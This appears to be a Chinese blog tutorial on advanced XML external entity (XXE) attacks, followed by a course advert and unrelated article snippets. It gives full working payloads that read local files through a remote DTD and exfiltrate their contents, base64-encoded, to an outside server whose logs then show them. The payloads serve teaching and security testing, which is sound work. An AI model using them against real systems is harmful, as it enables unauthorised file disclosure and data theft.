XXE漏洞详解——进阶篇

news2024/11/18 3:35:51

读取文件时有特殊符号

 

在读取文件时,文件中包含"<,>,&"等这些特殊符号时,会被xml解析器解析,报错从而导致读取失败,例如尝试读取以下文件

C:\test.txt

内容:

<Baize Sec>

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [<!ENTITY xxe SYSTEM "file:///c:/test.txt">]>
<creds>&xxe;</creds>

1607183441_5fcbac51be8a7f781bccd.png!small

可以看到与读system.ini不同,这里报错了,想知道原因需要了解CDATA和PCDATA

PCDATA

PCDATA 指的是被解析的字符数据(Parsed Character Data)。

XML 解析器通常会解析 XML 文档中所有的文本。

当某个 XML 元素被解析时,其标签之间的文本也会被解析:

<message>此文本也会被解析</message>

解析器之所以这么做是因为 XML 元素可包含其他元素,就像这个例子中,其中的 <name>元素包含着另外的两个元素(first 和 last):

<name><first>Bill</first><last>Gates</last></name>

而解析器会把它分解为像这样的子元素:

<name>
<first>Bill</first>
<last>Gates</last>
</name>

CDATA

术语 CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。

在 XML 元素中,"<" 和 "&" 是非法的。

"<" 会产生错误,因为解析器会把该字符解释为新元素的开始。

"&" 也会产生错误,因为解析器会把该字符解释为字符实体的开始。

某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。

CDATA 部分中的所有内容都会被解析器忽略。

CDATA 部分由 "<![CDATA[" 开始,由 "]]>" 结束:

<script>
<![CDATA[
function matchwo(a,b)
{
if (a < b && a < 0) then
{
return 1;
}
else
{
return 0;
}
}
]]>
</script>

在上面的例子中,解析器会忽略 CDATA 部分中的所有内容。

关于 CDATA 部分的注释:

CDATA 部分不能包含字符串 "]]>"。也不允许嵌套的 CDATA 部分。

标记 CDATA 部分结尾的 "]]>" 不能包含空格或折行。

我们的思路就是把读取的文件放在CDATA中之后再调用,那么构造一个POC如下

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag
[<!ENTITY start
"<![CDATA[<!ENTITY % xxe SYSTEM "file:///c:/test.txt"> ]]>"
>]
% xxe;>
<roottag>&start</roottag>

但是还是读不出来,如下图:

1607183478_5fcbac76c64f080fb3a5d.png!small

直接放正确的payload,然后再讲解原因

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % go SYSTEM "file:///c:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://aaaaahui.com/evil.dtd"> %dtd;
]> 
<root>&all;</root>

http://aaaaahui.com/evil.dtd

<!ENTITY all "%start;%go;%end;">

1607183487_5fcbac7fa4f73085875de.png!small

可以看到这个payload是可以成功读取文件的,对比两个payload

1607183499_5fcbac8b9b55d80810186.png!small

1607183507_5fcbac93835c218916471.png!small

两个payload的逻辑都是一样的,不过第二个是调用的外部的dtd文档就可以,这是因为在xml中,xml 解析器有个限制:不能在内部 Entity 中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止内部参数实体引用。

无回显xxe漏洞利用

现在很多xxe漏洞都是没有回显的,下面是再没有回显的时候可以的利用方式。

思路就是在没有回显的时候,我们将读取的文件带出来,举一个例子就是,我们如果将/etc/passwd文件赋给实体test,那么我们在访问http://www.aaaaahui.com/?%test时,我们服务器上的日志文件就会保存/etc/passwd的文件内容,下面进行实验:

<?xml version="1.0"?>
<!DOCTYPE message [    
<!ENTITY % remote SYSTEM "http://aaaaahui.com/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test.txt">
%remote;
%send;
]>
<message>1234</message>

xml.dtd

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://aaaaahui.com/?%file;'>">%start

&#x25是%的html实体编码,因为在xml.dtd的实体中不能有%

实验如下图

1607183516_5fcbac9c89546b2fb236f.png!small

查看日志文件

1607183525_5fcbaca5ca6bd9c3dd452.png!small

这里我们读取的文件已经带出来了,那么原理就是将文件赋给实体后带着访问我们的vps然后在日志文件中就能看到我们读取的文件了。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

 

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1713399.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

搜维尔科技:Movella Xsens用于动画,CG,短视频制作案例

用户名称 广州百漫文化传播有限公司 应用场景 基于Xsens MVN Link 动作捕捉系统的动画制作、CG制作、短视频制作、快速动画MAYA插件、影视动漫实时合成预渲染。 现场照片 《西行纪》内容简介&#xff1a;在远古神明的年代&#xff0c;世间存在着天众、龙众、阿修罗等八部众…

探索 ChatboxAI:智能对话的新时代

在人工智能迅速发展的今天&#xff0c;智能对话已经成为了我们日常生活中不可或缺的一部分。从智能助理到聊天机器人&#xff0c;AI 技术正在改变我们与世界互动的方式。今天&#xff0c;我们要介绍的是一个全新且功能强大的平台——ChatboxAI。 什么是 ChatboxAI&#xff1f;…

S32K --- FLS MCAL配置

一、前言 二、MCAL配置 添加一个Mem_43_infls的模块, infls是访问内部flash, exfls是访问外部flash 2.1 General 这边暂时保持的默认,还没详细的去研究,等有空研究了,我再来更新 2.2 MemInstance 双金“index”的下标“0”可以进里面详细配置,这个是基本操作了。 2.2.1 G…

为什么说想当产品经理,最好的时候就是现在?

今年,随着人工智能(AI)技术的火热,AI产品经理岗位的需求也一路暴涨,薪资也同步水涨船高。 根据美国招聘社交媒体Glassdoor的数据,AI产品经理年收入高达125万元,是普通产品经理年收入的1.43倍,更是项目经理年收入的2.14倍。在中国,大厂AI产品经理的月收入也高达3到7万左右。但即…

国家首批20个“数据要素×”典型案例发布,珈和科技助力金融、气象两案例入榜

5月24日&#xff0c;国家数据局会同生态环境部、交通运输部、金融监管总局、中国科学院、中国气象局、国家文物局、国家中医药局等部门在第七届数字中国峰会主论坛上发布首批20个“数据要素”典型案例。 其中&#xff0c;珈和科技以其专业的产品和服务助力金融服务领域的浙江网…

Linux 系统编程笔记--基本概念(一)

操作系统&#xff1a; 管理计算机硬件和软件资源的计算机程序。 内核&#xff1a; 操作系统的核心&#xff0c;是应用程序连接硬件设备的桥梁。 CPU 可以在两种状态下运行:用户态和内核态&#xff0c;在用户态下运行时&#xff0c;CPU 只能访问用户空间的内存;在内核态运行时&…

【Pandas】深入解析`pd.read_json()`函数

【Pandas】深入解析pd.read_json()函数 &#x1f308; 欢迎莅临我的个人主页&#x1f448;这里是我深耕Python编程、机器学习和自然语言处理&#xff08;NLP&#xff09;领域&#xff0c;并乐于分享知识与经验的小天地&#xff01;&#x1f387; &#x1f393; 博主简介&#x…

学习笔记|如何移植NCNN

在计算机视觉和深度学习领域&#xff0c;NCNN&#xff08;Netural Network Computer Vision&#xff09;是一个轻量级的神经网络计算框架&#xff0c;被广泛应用于各类嵌入式设备和移动平台。今天&#xff0c;让我们一同跟随共创社团队的步伐&#xff0c;揭秘他们如何进行NCNN的…

React Hooks是如何保存的

React 函数式组件是没有状态的&#xff0c;需要 Hooks 进行状态的存储&#xff0c;那么状态是怎么存储的呢&#xff1f;Hooks是保存在 Fiber 树上的&#xff0c;多个状态是通过链表保存&#xff0c;本文将通过源代码分析 Hooks 的存储位置。 创建组件 首先我们在组件中添加两…

净念——雷江书画艺术汇报展暨作品捐赠仪式在合阳博物馆盛大开幕

古莘初夏万物秀,丹青妙笔谱华章&#xff01;5月25日上午9时&#xff0c;由合阳县委宣传部、合阳文化和旅游局主办&#xff0c;合阳历史文化博物馆、合阳县旅游发展有限公司承办的净念雷江书画艺术汇报展暨作品捐赠仪式在合阳县历史博物馆盛大开幕。 陕西省原副省长魏增军&#…

SAP锁机制(SAP Locks)经验小结

1. 数据一致性与锁 为什么要有锁机制&#xff1f;其背后的核心逻辑在于“保证数据的一致性”。 当数据被应用程序修改时&#xff0c;我们必须要保证修改后的数据具有一致性。在SAP系统中&#xff0c;将一致的数据状态从一个状态变动到另一个一致状态的时间跨度被称为LUW&…

宝塔安装java环境Jdk1.8

1.打开宝塔——选择“终端”——输入SSH的服务器IP和SSH账号&#xff0c;选择密码验证&#xff0c;输入密码 2。登录成功后&#xff0c;输入&#xff1a;yum list java-1.8*&#xff0c;用于列出所有与 “java-1.8” 相关的软件包 yum list java-1.8* 3.安装Jdk1.8: yum insta…

登峰造极,北斗相伴——纪念人类首次登顶珠穆朗玛峰71周年

71年前的今天&#xff0c;1953年5月29日11时30分&#xff0c;人类实现了一个伟大的壮举&#xff1a;首次登上了珠穆朗玛峰&#xff0c;这座海拔8848.86米的世界最高峰。这是一次充满了艰辛、勇气和智慧的探险&#xff0c;也是一次改变了人类历史和文化的探险。 自那以后&#…

有没有好用的供应商协同软件,能实现文件的便捷协作?

制造业供应商间文件协作非常频繁&#xff0c;而频繁的文件协作也是保证业务有效开展的基础&#xff0c;对于确保生产流程的顺畅和高效至关重要。以下是一些常见的制造业供应商文件协作的例子&#xff1a; 采购订单和合同&#xff1a;采购订单是供应商和制造商之间最基本的文件协…

力扣hot100:23. 合并 K 个升序链表

23. 合并 K 个升序链表 这题非常容易想到归并排序的思路&#xff0c;俩升序序列合并&#xff0c;可以使用归并的方法。 不过这里显然是一个多路归并排序&#xff1b;包含多个子数组的归并算法&#xff0c;这可以让我们拓展归并算法的思路。 假设n是序列个数&#xff0c;ni是…

ROS运行文件(LaunchFile)和参数(Parameter)

本文主要介绍ROS的Launch File和Parameter概念&#xff0c;通过Launch File启动单个或多个节点&#xff0c;并通过Parameter配置启动参数。 更多内容&#xff0c;访问专栏目录获取实时更新。 当你的应用中包含了很多工作包&#xff0c;每个工作包了又包含了多个节点时&#xff…

本地部署大模型的几种方式

现在大模型可谓是满天飞, 只要你稍微关注时下的AI资讯, 几乎每天都有新的AI大模型出现. 这之中当然有诸如GhatGPT, Gemini这样的私有化大模型, 更吸引人关注的可能是开源的可私有化部署的一些大模型. 比如Meta前两天开放的Lamma 3, Google的Gemma开源模型, 国内也有Qwen以及YI等…

java海滨学院班级回忆录源码(springboot)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的海滨学院班级回忆录。项目源码以及部署相关请联系风歌&#xff0c;文末附上联系信息 。 项目简介&#xff1a; 海滨学院班级回忆录的…

高速公路边坡监测预警系统解决方案

一、概述 高速公路是国家交通大动脉&#xff0c;高速公路的安全、稳定是人民生命安全的保障。高速公路地基和边坡在线监测系统是交接高速公路运行状态的耳目&#xff0c;是保证高速公路稳定、安全保障人民生命财产安全、充分发挥高速公路国家交通大动脉的重要手段。高速边坡在线…

Java——执行流程

一、执行流程 1、示例 //第一个Java程序 public class Hello{public static void main(String[] args){System.out.println("Hello World!");} } 编译&#xff1a; 执行&#xff1a; 我们可以看到这里的是类名&#xff0c;而不是字节码文件名 Hello.class &#…